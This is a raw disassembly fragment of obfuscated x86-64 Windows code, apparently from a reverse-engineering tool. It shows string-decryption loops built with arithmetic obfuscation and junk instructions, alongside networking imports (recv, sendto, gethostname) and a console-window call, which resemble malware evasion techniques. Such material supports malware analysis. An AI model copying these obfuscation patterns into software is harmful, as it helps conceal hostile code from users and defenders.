lea ebx, [r11 + r10]
sub bl, 0x28
movzx eax, byte [rbp + rdi + 0x230]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c6bf3
inc rax
cmp r8, rax
jne 0x1400c72ed
sub r11b, 0x30
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x1400c76ea
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c710c
add r11b, 0x78
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x48
jmp 0x1400c7688
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c733d
lea edx, [r11 + 0x64]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x1400c75bc
inc rax
cmp r8, rax
jne 0x1400c736a
sub r11b, 0x64
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x44
inc r9
dec rdi
inc rdi
jmp 0x1400c6bf3
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c7390
add r11b, 0x44
movzx eax, r11b
and al, r10b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
jmp 0x1400c7685
cmp r8, rcx
jne 0x1400c73b1
add r11b, 0x7c
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
sub bl, 0x64
jmp 0x1400c768b
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400c70c2
add r11b, 0x24
movzx eax, r11b
and al, r10b
mov ecx, 2
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
jmp 0x1400c7742
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c7411
add r11b, 0x30
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x50
movzx eax, byte [rbp + rdi + 0x230]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c6bf3
inc rax
cmp r8, rax
jne 0x1400c7435
lea edx, [r11 - 0x60]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x60
add bl, dl
jmp 0x1400c76be
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400c745a
add r11b, 0x10
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x70
jmp 0x1400c7688
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c7481
lea edx, [r11 + 0x48]
movzx eax, r10b
and al, dl
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x1400c764b
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400c74ac
add r11b, 0x80
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
add bl, 0x80
dec rdi
inc rdi
jmp 0x1400c6bf3
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c7083
sub r11b, 0x48
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 8
inc r9
dec rdi
inc rdi
jmp 0x1400c6bf3
lea edx, [r11 + 0x60]
movzx eax, r10b
and al, dl
movzx ecx, r10b
sub cl, al
add cl, 0x30
lea ebx, [rcx + rcx]
add bl, dl
jmp 0x1400c764b
lea ecx, [r11 - 0x68]
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea ebx, [rcx - 0x28]
jmp 0x1400c76be
lea ecx, [r11 + 0x54]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x4c
jmp 0x1400c76be
add r11b, 0x1c
movzx eax, r11b
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, r10b
jmp 0x1400c768b
sub r11b, 0x1c
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
sub bl, 0x3c
jmp 0x1400c7688
lea edx, [r11 - 0x54]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x1400c764b
add r11b, 0x74
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
sub bl, 0x2c
dec rdi
inc rdi
jmp 0x1400c6bf3
lea ecx, [r11 + 4]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x1c
sub r11b, 0x3c
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x5c
add r10b, r11b
mov byte [rbp + rdi + 0x230], r10b
inc r9
dec rdi
inc rdi
jmp 0x1400c6bf3
lea edx, [rdi + 0x5c]
movzx eax, dl
and al, r10b
mov ecx, 0x3e
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
inc r9
dec rdi
inc rdi
jmp 0x1400c6bf3
lea edx, [rdi + 0x24]
movzx eax, dl
and al, r10b
mov ecx, 2
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
dec rdi
inc rdi
jmp 0x1400c6bf3
movzx r11d, dil
lea ecx, [r11 - 0x14]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x74
sub r11b, 4
movzx eax, r11b
and al, r10b
mov ecx, recv
sub cl, al
add cl, cl
add cl, r11b
add cl, bl
add cl, r10b
mov byte [rbp + rdi + 0x230], cl
jmp 0x1400c7688
lea edx, [rdi - 0x4c]
movzx eax, dl
and al, r10b
mov ecx, 0xa
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
add r8, r9
movzx eax, bl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400c6bf3
lea rax, [rdi + r12]
and sil, al
mov ecx, reloc.WS2_32.dll_select
sub cl, sil
lea ebx, [rcx + rcx]
add bl, al
add bl, r10b
movzx r11d, dil
add r11b, 0x34
movzx eax, r10b
and al, r11b
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x6c
add cl, r11b
movzx eax, cl
mov byte [rbp + rdi + 0x230], al
inc r9
add rax, r9
sub rdi, rax
lea edx, [rdi - 0x30]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
mov byte [rbp + rdi + 0x230], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x230]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c6bf3
lea rax, [rdi + r15]
and sil, al
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, sil
lea ebx, [rcx + rcx]
add bl, al
add bl, r10b
movzx eax, byte [rbp + rdi + 0x230]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c6bf3
add r11b, 0xc
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x54
jmp 0x1400c6bf0
sub r11b, 0x2c
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x1400c6be0
lea rdx, [rbp + 0x1594700]
jmp 0x1400c77b0
lea rdx, [rbp + 0xc96c9c]
jmp 0x1400c77b0
lea rdx, [rbp + 0x230]
mov rcx, qword [0x14022e168]
call fcn.1400c90b0
mov rsi, qword [0x14022e168]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
mov edx, 5
call qword [sym.imp.USER32.dll_ShowWindow]
mov byte [rbp + 0x560], 0xeb
mov byte [rbp + 0x561], 0xc1
mov byte [rbp + 0x562], Ordinal_200
mov byte [rbp + 0x563], 0xbe
mov byte [rbp + 0x564], Ordinal_200
mov byte [rbp + 0x565], Ordinal_200
mov byte [rbp + 0x566], 0xc9
mov byte [rbp + 0x567], 0xef
mov byte [rbp + 0x568], gethostname
mov byte [rbp + 0x569], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0x56a], 0x3e
mov byte [rbp + 0x56b], 0x46
mov byte [rbp + 0x56c], Ordinal_60
mov byte [rbp + 0x56d], 0x3d
mov byte [rbp + 0x56e], gethostname
mov byte [rbp + 0x56f], 0xe7
mov byte [rbp + 0x570], Ordinal_50
mov byte [rbp + 0x571], gethostname
mov byte [rbp + 0x572], 0xe4
mov byte [rbp + 0x573], recv
mov byte [rbp + 0x574], 0xe2
mov byte [rbp + 0x575], Ordinal_79
mov byte [rbp + 0x576], Ordinal_60
mov byte [rbp + 0x577], Ordinal_35
mov byte [rbp + 0x578], Ordinal_50
mov byte [rbp + 0x579], Ordinal_50
mov byte [rbp + 0x57a], reloc.WLDAP32.dll_Ordinal_32
mov byte [rbp + 0x57b], 0x56
mov byte [rbp + 0x57c], 0xe8
mov byte [rbp + 0x57d], 0xeb
mov byte [rbp + 0x57e], 0xea
mov byte [rbp + 0x57f], 0xc1
mov byte [rbp + 0x580], Ordinal_217
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x581], xmm0
movups xmmword [rbp + 0x591], xmm0
mov word [rbp + 0x5a1], ax
movabs r14, 0x5e311033cacc66f9
movabs r15, 0x1a93309b606534eb
movzx edx, byte [rsp + 0x31]
mov r8, qword [0x14022e4a8]
mov r9, qword [0x14022e4a0]
nop
mov rbx, r13
cmp rbx, 0x43
jae 0x1400c846c
movzx r11d, byte [rbp + rbx + 0x560]
mov edi, r11d
nop dword [rax]
cmp r8, rbx
ja 0x1400c8463
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400c794b
lea rcx, [rbx + r14]
mov rax, rcx
and rax, rdi
imul rdx, rax, 0xfffffffffffffffe
add rdx, rcx
add rdx, rdi
add dl, 0x31
jmp 0x1400c7978
je 0x1400c83f8
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c83a2
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400c8383
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400c8361
movzx r10d, bl
nop dword [rax]
cmp r9, rbx
ja 0x1400c845a
lea rax, [r9 + 4]
cmp r8, rax
jae 0x1400c79a9
lea ecx, [r10 + 0x6d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 5
jmp 0x1400c7a00
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400c831f
inc rax
cmp r8, rax
je 0x1400c82fa
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400c82d8
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c82be
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400c8267
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400c823a
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x1400c7f49
nop dword [rax]
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400c7f2c
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400c7f03
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x1400c7ee1
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400c7ec4
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400c7ea8
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400c7e8c
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400c7e6f
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400c7e53
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400c7e22
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400c7a10
lea r8, [r9 + 5]
lea r9, [r8 + 8]
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1400c843e
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1400c8422
lea rcx, [r9 + 0x10]
cmp r8, rcx
jb 0x1400c7bea
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1400c7bd0
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1400c7bb6
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x1400c7dd8
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1400c7d95
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1400c7d58
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x1400c7d32
lea rax, [r9 + 9]
cmp r8, rax
jb 0x1400c7a10
mov r8, rcx
lea r9, [rcx + 0x61]
lea rax, [r9 + 0x41]
cmp rcx, rax
ja 0x1400c7d01
lea rax, [r9 + 0x20]
cmp rcx, rax
ja 0x1400c7ce1
lea rcx, [r9 + 0x5a]
cmp r8, rcx
ja 0x1400c7cc7
lea rax, [r9 + 3]
cmp r8, rax
ja 0x1400c7ca7
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1400c7c8b
lea rax, [r9 + 4]
cmp r8, rax
ja 0x1400c7c6e
lea rax, [r9 + 9]
cmp r8, rax
ja 0x1400c7c48
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x1400c7c23
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x1400c7c06
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400c7a10
mov r8, rcx
lea r9, [rcx + 1]
jmp 0x1400c7a10
lea ecx, [r10 + 0x33]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x65
jmp 0x1400c7a00
lea ecx, [r10 + 0x41]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x39
jmp 0x1400c7980
add r10b, 0x4f
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x29
jmp 0x1400c7920
lea edx, [r10 + 0x68]
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
jmp 0x1400c8334
add r10b, 0x76
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x3a
inc r9
dec rbx
inc rbx
jmp 0x1400c7903
sub r10b, 0x7c
movzx eax, r11b
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
dec rbx
inc rbx
jmp 0x1400c7903
lea edx, [r10 - 0x6e]
movzx eax, r11b
and al, dl
mov ecx, 1
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
jmp 0x1400c83bb
sub r10b, 0x60
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x60
jmp 0x1400c83dd
sub r10b, 0x52
movzx eax, r11b
and al, r10b
mov ecx, Ordinal_35
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
jmp 0x1400c83e0
lea edx, [r10 - 0x44]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x24
jmp 0x1400c820b
sub r10b, 0x36
movzx eax, r11b
and al, r10b
mov ecx, 0x3d
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
jmp 0x1400c827e
sub r10b, 0x28
movzx eax, r11b
and al, r10b
mov ecx, recv
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
movzx eax, byte [rbp + rbx + 0x560]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c7903
sub r10b, 5
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
add dl, 0x23
mov byte [rbp + rbx + 0x560], dl
inc rbx
jmp 0x1400c7903
lea edx, [r10 + 9]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x3f
add dl, cl
cmp r9, 0x20
jb 0x1400c7d49
lea edx, [r10 + 0x36]
movzx eax, r11b
and al, dl
mov ecx, 3
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
lea edx, [rcx + rcx]
jmp 0x1400c8334
lea ecx, [r10 + 0x17]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x5f
cmp r8, 0x7a
jae 0x1400c81d9
lea rax, [r9 + 0x5a]
cmp r8, rax
jbe 0x1400c8100
lea ecx, [r10 - 0x3e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x4e
jmp 0x1400c7d6f
lea ecx, [r10 + 0x25]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 3
lea rax, [r9 + r8]
cmp rax, 9
je 0x1400c81f8
lea rax, [r9 + 0x400]
cmp r8, rax
jbe 0x1400c806d
lea ecx, [r10 + 0x55]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x53
jmp 0x1400c7daa
sub r10b, 0x72
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rbp + rbx + 0x560]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c7903
sub r10b, 0x64
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x44
jmp 0x1400c827e
lea edx, [r10 - 0x56]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400c820d
sub r10b, 0x48
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 8
jmp 0x1400c83e0
sub r10b, 0x3a
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x6a
jmp 0x1400c83dd
lea edx, [r10 - 0x2c]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400c83bb
sub r10b, 0x1e
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x2e
dec rbx
inc rbx
jmp 0x1400c7903
sub r10b, 0x10
movzx eax, r10b
and al, r11b
mov ecx, gethostname
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
inc r9
dec rbx
inc rbx
jmp 0x1400c7903
lea edx, [r10 - 2]
movzx eax, dl
and al, r11b
mov ecx, 7
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400c8334
lea rax, [r9 + 8]
cmp r8, rax
jae 0x1400c7f6c
lea ecx, [r10 - 7]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x31
jmp 0x1400c7ded
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400c7fa6
sub r10b, 0x26
movzx eax, r10b
and al, r11b
mov ecx, 5
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rbp + rbx + 0x560]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c7903
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c7fc9
lea ecx, [r10 - 0x42]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x32
jmp 0x1400c820d
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400c7ff2
sub r10b, 0x50
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_26
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400c83e0
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c8017
sub r10b, 0x5e
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x6e
jmp 0x1400c83dd
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c803a
lea ecx, [r10 - 0x6c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0xc
jmp 0x1400c83bb
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400c7ded
sub r10b, 0x7a
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_45
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
dec rbx
inc rbx
jmp 0x1400c7903
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c8090
lea ecx, [r10 + 0x47]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0xf
jmp 0x1400c8334
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400c80b5
add r10b, 0xf
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x69
jmp 0x1400c83dd
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c80d9
inc r10b
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 7
jmp 0x1400c83e0
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c7daa
lea ecx, [r10 - 0xd]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x5b
jmp 0x1400c820d
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c813a
sub r10b, 0x4c
movzx eax, r10b
and al, r11b
mov ecx, 0xa
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rbp + rbx + 0x560]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c7903
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c815d
lea ecx, [r10 - 0x68]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x28
jmp 0x1400c820d
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c8180
lea ecx, [r10 + 0x6e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 2
jmp 0x1400c83bb
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400c81af
add r10b, 0x60
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
dec rbx
inc rbx
jmp 0x1400c7903
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c7d6f
lea edx, [r10 + 0x44]
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
jmp 0x1400c8334
lea edx, [r10 + 0x28]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add cl, r11b
sub dl, 0x18
add dl, cl
jmp 0x1400c83bb
lea edx, [r10 + 0x1a]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add dl, cl
add r10b, 0x13
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
add r10b, 0x7b
add r10b, r11b
movzx eax, r10b
mov byte [rbp + rbx + 0x560], al
inc r9
add rax, r9
sub rbx, rax
jmp 0x1400c827e
sub r10b, 0x11
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x77
movzx eax, byte [rbp + rbx + 0x560]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c7903
sub r10b, 3
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x15
lea ecx, [rbx + 0xc]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x54
add cl, r11b
mov byte [rbp + rbx + 0x560], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x560]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c7903
lea ecx, [r10 + 0x35]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x73
jmp 0x1400c83bb
add r10b, 0x43
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x2b
dec rbx
inc rbx
jmp 0x1400c7903
add r10b, 0x51
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x37
inc r9
dec rbx
inc rbx
jmp 0x1400c7903
lea ecx, [r10 + 0x5f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x67
add r10b, 0x2f
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
sub r11b, 0x49
add r11b, r10b
mov byte [rbp + rbx + 0x560], r11b
inc r9
dec rbx
inc rbx
jmp 0x1400c7903
lea ecx, [rbx - 0x77]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x41
inc r9
dec rbx
inc rbx
jmp 0x1400c7903
lea ecx, [rbx - 0x69]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x21
dec rbx
inc rbx
jmp 0x1400c7903
movzx r10d, bl
lea ecx, [r10 - 0x5b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x7d
add r10b, 0x21
movzx eax, r11b
and al, r10b
add al, al
movzx ecx, dl
sub cl, al
add cl, 0x19
add cl, r11b
add cl, r10b
mov byte [rbp + rbx + 0x560], cl
add r8, r9
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400c7903
lea rax, [rbx + r15]
and dil, al
add dil, dil
sub r11b, dil
lea edx, [rax + r11]
sub dl, 0x6d
movzx eax, byte [rbp + rbx + 0x560]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c7903
add r10b, 0x5d
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
add dl, 0x75
jmp 0x1400c7900
add r10b, 0x6b
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
add dl, 0x13
jmp 0x1400c78f1
lea rdx, [rbp + 0x15534ac]
jmp 0x1400c8473
lea rdx, [rbp + 0x1619ba5]
jmp 0x1400c8473
lea rdx, [rbp + 0x560]
mov rcx, rsi
call fcn.1400651a0
mov byte [rbp + 0x158], 0xf8
mov byte [rbp + 0x159], Ordinal_143
mov byte [rbp + 0x15a], 0xb2
mov byte [rbp + 0x15b], 0xb3
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x15c], xmm0
mov qword [rbp + 0x16c], rax
mov dword [rbp + 0x174], eax
mov byte [rbp + 0x178], al
movabs rsi, 0xc56334916e4d68
movabs r14, 0x6f07cd91ce0b8a8
movabs r12, 0x565b66ffa041dd8
movabs r15, 0x250299db44ae838
movzx r8d, byte [rsp + 0x31]
nop dword [rax]
nop dword [rax + rax]
mov rax, qword [0x14022e4a8]
mov r9, qword [0x14022e4a0]
nop
mov rbx, r13
cmp rbx, 0x21
jae 0x1400c904f
movzx r11d, byte [rbp + rbx + 0x158]
mov edi, r11d
nop dword [rax]
cmp rax, rbx
ja 0x1400c9047
lea rcx, [r9 + 1]
cmp rax, rcx
jae 0x1400c854c
lea rdx, [rbx + rsi]
mov rcx, rdi
and rcx, rdx
imul r8, rcx, 0xfffffffffffffffe
add r8, rdi
add r8, rdx
add r8b, 0x28
jmp 0x1400c8586
je 0x1400c8fd2
lea rcx, [r9 + 2]
cmp rax, rcx
je 0x1400c8f4a
lea rcx, [r9 + 4]
cmp rax, rcx
je 0x1400c8f18
lea rcx, [r9 + 5]
cmp rax, rcx
je 0x1400c8ed1
lea rcx, [r9 + 6]
cmp rax, rcx
je 0x1400c8eae
movzx r10d, bl
nop word [rax + rax]
cmp r9, rbx
ja 0x1400c903f
lea rcx, [r9 + 6]
cmp rax, rcx
jae 0x1400c85be
lea r8d, [r10 - 0x78]
movzx ecx, r8b
and cl, r11b
mov edx, 0x24
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r11b
jmp 0x1400c8600
lea rcx, [r9 + 1]
cmp rax, rcx
je 0x1400c8e69
inc rcx
cmp rax, rcx
je 0x1400c8e42
lea rcx, [r9 + 3]
cmp rax, rcx
je 0x1400c8e22
lea rcx, [r9 + 5]
cmp rax, rcx
je 0x1400c8e01
lea rcx, [r9 + 4]
cmp rax, rcx
je 0x1400c8de2
nop
lea rcx, [r9 + rax]
cmp rcx, rbx
jbe 0x1400c8b37
nop dword [rax]
lea rcx, [r9 + 0x7a]
cmp rax, rcx
je 0x1400c8b18
lea rcx, [r9 + 0x10]
cmp rax, rcx
je 0x1400c8af2
lea rcx, [r9 + 0x41]
cmp rax, rcx
je 0x1400c8acf
lea rcx, [r9 + 0x20]
cmp rax, rcx
je 0x1400c8bbe
lea rcx, [r9 + 0x5a]
cmp rax, rcx
je 0x1400c8aab
lea rcx, [r9 + 0x28]
cmp rax, rcx
je 0x1400c8a8e
lea rcx, [r9 + 0x2a]
cmp rax, rcx
je 0x1400c8a6f
lea rcx, [r9 + 0x40]
cmp rax, rcx
je 0x1400c8a4e
lea rcx, [r9 + 1]
cmp rax, rcx
je 0x1400c8a20
lea rcx, [r9 + 0x42]
cmp rax, rcx
je 0x1400c8610
lea rax, [r9 + 9]
lea r9, [rax + 2]
lea rcx, [r9 + 0x61]
cmp rax, rcx
jb 0x1400c901e
lea rcx, [r9 + 0xa]
cmp rax, rcx
